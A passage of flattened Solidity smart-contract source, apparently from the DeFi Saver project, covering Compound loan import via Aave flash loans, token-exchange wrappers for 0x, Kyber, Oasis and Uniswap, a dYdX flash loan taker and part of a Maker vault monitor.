we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getGasCost(uint _amount, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS); uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice); feeAmount = wdiv(_gasCost, tokenPriceInEth); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } /// @notice Enters the market for the collatera and borrow tokens /// @param _cTokenAddrColl Collateral address we are entering the market in /// @param _cTokenAddrBorrow Borrow address we are entering the market in function enterMarket(address _cTokenAddrColl, address _cTokenAddrBorrow) internal { address[] memory markets = new address[](2); markets[0] = _cTokenAddrColl; markets[1] = _cTokenAddrBorrow; ComptrollerInterface(COMPTROLLER).enterMarkets(markets); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveCToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(uint160(address(this))); return proxy.owner(); } /// @notice Returns the maximum amount of collateral available to withdraw /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cCollAddress Collateral we are getting the max value of /// @param _account Users account /// @return Returns the max. collateral amount in that token function getMaxCollateral(address _cCollAddress, address _account) public returns (uint) { (, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); uint usersBalance = CTokenInterface(_cCollAddress).balanceOfUnderlying(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); if (liquidityInUsd == 0) return usersBalance; CTokenInterface(_cCollAddress).accrueInterest(); (, uint collFactorMantissa) = ComptrollerInterface(COMPTROLLER).markets(_cCollAddress); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); (, uint tokensToUsd) = divScalarByExpTruncate(liquidityInUsd, collateralFactor); uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cCollAddress); uint liqInToken = wdiv(tokensToUsd, usdPrice); if (liqInToken > usersBalance) return usersBalance; return sub(liqInToken, (liqInToken / 100)); // cut off 1% due to rounding issues } /// @notice Returns the maximum amount of borrow amount available /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cBorrowAddress Borrow token we are getting the max value of /// @param _account Users account /// @return Returns the max. borrow amount in that token function getMaxBorrow(address _cBorrowAddress, address _account) public returns (uint) { (, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); CTokenInterface(_cBorrowAddress).accrueInterest(); uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cBorrowAddress); uint liquidityInToken = wdiv(liquidityInUsd, usdPrice); return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues } } contract CompoundImportFlashLoan is FlashLoanReceiverBase { using SafeERC20 for ERC20; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant COMPOUND_BORROW_PROXY = 0xb7EDC39bE76107e2Cc645f0f6a3D164f5e173Ee2; address public owner; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { ( address cCollateralToken, address cBorrowToken, address user, address proxy ) = abi.decode(_params, (address,address,address,address)); // approve FL tokens so we can repay them ERC20(_reserve).safeApprove(cBorrowToken, uint(-1)); // repay compound debt require(CTokenInterface(cBorrowToken).repayBorrowBehalf(user, uint(-1)) == 0, "Repay borrow behalf fail"); // transfer cTokens to proxy uint cTokenBalance = CTokenInterface(cCollateralToken).balanceOf(user); require(CTokenInterface(cCollateralToken).transferFrom(user, proxy, cTokenBalance)); // borrow bytes memory proxyData = getProxyData(cCollateralToken, cBorrowToken, _reserve, (_amount + _fee)); DSProxyInterface(proxy).execute(COMPOUND_BORROW_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); } /// @notice Formats function data call so we can call it through DSProxy /// @param _cCollToken CToken address of collateral /// @param _cBorrowToken CToken address we will borrow /// @param _borrowToken Token address we will borrow /// @param _amount Amount that will be borrowed /// @return proxyData Formated function call data function getProxyData(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) internal pure returns (bytes memory proxyData) { proxyData = abi.encodeWithSignature( "borrow(address,address,address,uint256)", _cCollToken, _cBorrowToken, _borrowToken, _amount); } function withdrawStuckFunds(address _tokenAddr, uint _amount) public { require(owner == msg.sender, "Must be owner"); if (_tokenAddr == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { msg.sender.transfer(_amount); } else { ERC20(_tokenAddr).safeTransfer(owner, _amount); } } } contract CompoundImportTaker is CompoundSaverHelper, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant COMPOUND_IMPORT_FLASH_LOAN = 0x0a9238e14d5A20CDb03811B12D1984587C3CE9a0; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must approve COMPOUND_IMPORT_FLASH_LOAN to pull _cCollateralToken /// @param _cCollateralToken Collateral we are moving to DSProxy /// @param _cBorrowToken Borrow token we are moving to DSProxy function importLoan(address _cCollateralToken, address _cBorrowToken) external burnGas(20) { address proxy = getProxy(); uint loanAmount = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(msg.sender); bytes memory paramsData = abi.encode(_cCollateralToken, _cBorrowToken, msg.sender, proxy); givePermission(COMPOUND_IMPORT_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_IMPORT_FLASH_LOAN, getUnderlyingAddr(_cBorrowToken), loanAmount, paramsData); removePermission(COMPOUND_IMPORT_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundImport", abi.encode(loanAmount, 0, _cCollateralToken)); } /// @notice Gets proxy address, if user doesn't has DSProxy build it /// @return proxy DsProxy address function getProxy() internal returns (address proxy) { proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).proxies(msg.sender); if (proxy == address(0)) { proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).build(msg.sender); } } } contract SaverExchangeCore is SaverExchangeHelper, DSMath { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct ExchangeData { address srcAddr; address destAddr; uint srcAmount; uint destAmount; uint minPrice; address wrapper; address exchangeAddr; bytes callData; uint256 price0x; } /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; uint tokensLeft = exData.srcAmount; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } // Try 0x first and then fallback on specific wrapper if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); (success, swapedTokens, tokensLeft) = takeOrder(exData, address(this).balance, ActionType.SELL); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, "Dest amount must be specified"); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); (success, swapedTokens,) = takeOrder(exData, address(this).balance, ActionType.BUY); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= exData.destAmount, "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data /// @param _ethAmount Ether fee needed for 0x order function takeOrder( ExchangeData memory _exData, uint256 _ethAmount, ActionType _type ) private returns (bool success, uint256, uint256) { // write in the exact amount we are selling/buing in an order if (_type == ActionType.SELL) { writeUint256(_exData.callData, 36, _exData.srcAmount); } else { writeUint256(_exData.callData, 36, _exData.destAmount); } if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.exchangeAddr)) { (success, ) = _exData.exchangeAddr.call{value: _ethAmount}(_exData.callData); } else { success = false; } uint256 tokensSwaped = 0; uint256 tokensLeft = _exData.srcAmount; if (success) { // check to see if any _src tokens are left over after exchange tokensLeft = getBalance(_exData.srcAddr); // convert weth -> eth if needed if (_exData.destAddr == KYBER_ETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } // get the current balance of the swaped tokens tokensSwaped = getBalance(_exData.destAddr); } return (success, tokensSwaped, tokensLeft); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), "Wrapper is not valid"); uint ethValue = 0; ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). sell{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.srcAmount); } else { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). buy{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.destAmount); } } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert("Incorrent lengt while writting bytes32"); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { // splitting in two different bytes and encoding all because of stack too deep in decoding part bytes memory part1 = abi.encode( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ); bytes memory part2 = abi.encode( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ); return abi.encode(part1, part2); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { ( bytes memory part1, bytes memory part2 ) = abi.decode(_data, (bytes,bytes)); ( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ) = abi.decode(part1, (address,address,uint256,uint256)); ( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ) = abi.decode(part2, (uint256,address,address,bytes,uint256)); } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } contract KyberWrapper is DSMath, ExchangeInterfaceV2 { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant KYBER_INTERFACE = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e; address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external override payable returns (uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), _srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, _srcAmount, destToken, msg.sender, uint(-1), 0, WALLET_ID ); return destAmount; } /// @notice Buys a _destAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); uint srcAmount = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmount = srcToken.balanceOf(address(this)); } else { srcAmount = msg.value; } KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, srcAmount, destToken, msg.sender, _destAmount, 0, WALLET_ID ); require(destAmount == _destAmount, "Wrong dest amount"); uint srcAmountAfter = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmountAfter = srcToken.balanceOf(address(this)); } else { srcAmountAfter = address(this).balance; } // Send the leftover from the source token back sendLeftOver(_srcAddr); return (srcAmount - srcAmountAfter); } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return rate Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint rate) { (rate, ) = KyberNetworkProxyInterface(KYBER_INTERFACE) .getExpectedRate(ERC20(_srcAddr), ERC20(_destAddr), _srcAmount); // multiply with decimal difference in src token rate = rate * (10**(18 - getDecimals(_srcAddr))); // divide with decimal difference in dest token rate = rate / (10**(18 - getDecimals(_destAddr))); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return rate Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint rate) { uint256 srcRate = getSellRate(_srcAddr, _destAddr, _destAmount); uint256 srcAmount = wmul(_destAmount, srcRate); rate = getSellRate(_destAddr, _srcAddr, srcAmount); // increase rate by 3% too account for inaccuracy between sell/buy conversion rate = rate + (rate / 30); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { if (_srcAddr == KYBER_ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } receive() payable external {} function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } } contract OasisTradeWrapper is DSMath, ExchangeInterfaceV2 { using SafeERC20 for ERC20; address public constant OTC_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice Sells a _srcAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external override payable returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, _srcAmount); uint destAmount = OasisInterface(OTC_ADDRESS).sellAllAmount(srcAddr, _srcAmount, destAddr, 0); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(destAmount); msg.sender.transfer(destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, destAmount); } return destAmount; } /// @notice Buys a _destAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, uint(-1)); uint srcAmount = OasisInterface(OTC_ADDRESS).buyAllAmount(destAddr, _destAmount, srcAddr, uint(-1)); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(_destAmount); msg.sender.transfer(_destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, _destAmount); } // Send the leftover from the source token back sendLeftOver(srcAddr); return srcAmount; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(OasisInterface(OTC_ADDRESS).getBuyAmount(destAddr, srcAddr, _srcAmount), _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(OasisInterface(OTC_ADDRESS).getPayAmount(srcAddr, destAddr, _destAmount), _destAmount); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { address srcAddr = ethToWethAddr(_srcAddr); if (srcAddr == WETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(srcAddr).safeTransfer(msg.sender, ERC20(srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } receive() payable external {} } contract UniswapWrapper is DSMath, ExchangeInterfaceV2 { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant UNISWAP_FACTORY = 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95; using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at Uniswap /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable override returns (uint) { address uniswapExchangeAddr; uint destAmount; _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); // if we are buying ether if (_destAddr == WETH_ADDRESS) { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, _srcAmount); destAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToEthTransferInput(_srcAmount, 1, block.timestamp + 1, msg.sender); } // if we are selling token to token else { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, _srcAmount); destAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToTokenTransferInput(_srcAmount, 1, 1, block.timestamp + 1, msg.sender, _destAddr); } return destAmount; } /// @notice Buys a _destAmount of tokens at Uniswap /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { address uniswapExchangeAddr; uint srcAmount; _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); // if we are buying ether if (_destAddr == WETH_ADDRESS) { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, uint(-1)); srcAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToEthTransferOutput(_destAmount, uint(-1), block.timestamp + 1, msg.sender); } // if we are buying token to token else { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, uint(-1)); srcAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToTokenTransferOutput(_destAmount, uint(-1), uint(-1), block.timestamp + 1, msg.sender, _destAddr); } // Send the leftover from the source token back sendLeftOver(_srcAddr); return srcAmount; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); if(_srcAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr); return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getEthToTokenInputPrice(_srcAmount), _srcAmount); } else if (_destAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getTokenToEthInputPrice(_srcAmount), _srcAmount); } else { uint ethBought = UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr)).getTokenToEthInputPrice(_srcAmount); return wdiv(UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr)).getEthToTokenInputPrice(ethBought), _srcAmount); } } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); if(_srcAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr); return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getEthToTokenOutputPrice(_destAmount), _destAmount); } else if (_destAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getTokenToEthOutputPrice(_destAmount), _destAmount); } else { uint ethNeeded = UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr)).getTokenToEthOutputPrice(_destAmount); return wdiv(UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr)).getEthToTokenOutputPrice(ethNeeded), _destAmount); } } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { if (_srcAddr == WETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } receive() payable external {} } contract DyDxFlashLoanTaker is DydxFlashLoanBase, ProxyPermission { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; /// @notice Takes flash loan for _receiver /// @dev Receiver must send back WETH + 2 wei after executing transaction /// @dev Method is meant to be called from proxy and proxy will give authorization to _receiver /// @param _receiver Address of funds receiver /// @param _ethAmount ETH amount that needs to be pulled from dydx /// @param _encodedData Bytes with packed data function takeLoan(address _receiver, uint256 _ethAmount, bytes memory _encodedData) public { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _ethAmount, _receiver); operations[1] = _getCallAction( _encodedData, _receiver ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(_receiver); solo.operate(accountInfos, operations); removePermission(_receiver); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "DyDxFlashLoanTaken", abi.encode(_receiver, _ethAmount, _encodedData)); } } abstract contract CTokenInterface is ERC20 { function mint(uint256 mintAmount) external virtual returns (uint256); // function mint() external virtual payable; function accrueInterest() public virtual returns (uint); function redeem(uint256 redeemTokens) external virtual returns (uint256); function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256); function borrow(uint256 borrowAmount) external virtual returns (uint256); function repayBorrow(uint256 repayAmount) external virtual returns (uint256); function repayBorrow() external virtual payable; function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256); function repayBorrowBehalf(address borrower) external virtual payable; function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external virtual returns (uint256); function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable; function exchangeRateCurrent() external virtual returns (uint256); function supplyRatePerBlock() external virtual returns (uint256); function borrowRatePerBlock() external virtual returns (uint256); function totalReserves() external virtual returns (uint256); function reserveFactorMantissa() external virtual returns (uint256); function borrowBalanceCurrent(address account) external virtual returns (uint256); function totalBorrowsCurrent() external virtual returns (uint256); function getCash() external virtual returns (uint256); function balanceOfUnderlying(address owner) external virtual returns (uint256); function underlying() external virtual returns (address); function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint); } abstract contract ISubscriptionsV2 is StaticV2 { function getOwner(uint _cdpId) external view virtual returns(address); function getSubscribedInfo(uint _cdpId) public view virtual returns(bool, uint128, uint128, uint128, uint128, address, uint coll, uint debt); function getCdpHolder(uint _cdpId) public view virtual returns (bool subscribed, CdpHolder memory); } contract MCDMonitorV2 is DSMath, AdminAuth, GasBurner, StaticV2 { uint public REPAY_GAS_TOKEN = 25; uint public BOOST_GAS_TOKEN = 25; uint public MAX_GAS_PRICE = 200000000000; // 200 gwei uint public REPAY_GAS_COST = 2500000; uint public BOOST_GAS_COST = 2500000; MCDMonitorProxyV2 public monitorProxyContract; ISubscriptionsV2 public subscriptionsContract; address public mcdSaverTakerAddress; Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); Vat public vat = Vat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B); Spotter public spotter = Spotter(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3); DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @dev Addresses that are able to call methods for repay and boost mapping(address => bool) public approvedCallers; modifier onlyApproved() { require(approvedCallers[msg.sender]); _; } constructor(address _monitorProxy, address _subscriptions, address _mcdSaverTakerAddress) public { approvedCallers[msg.sender] = true; 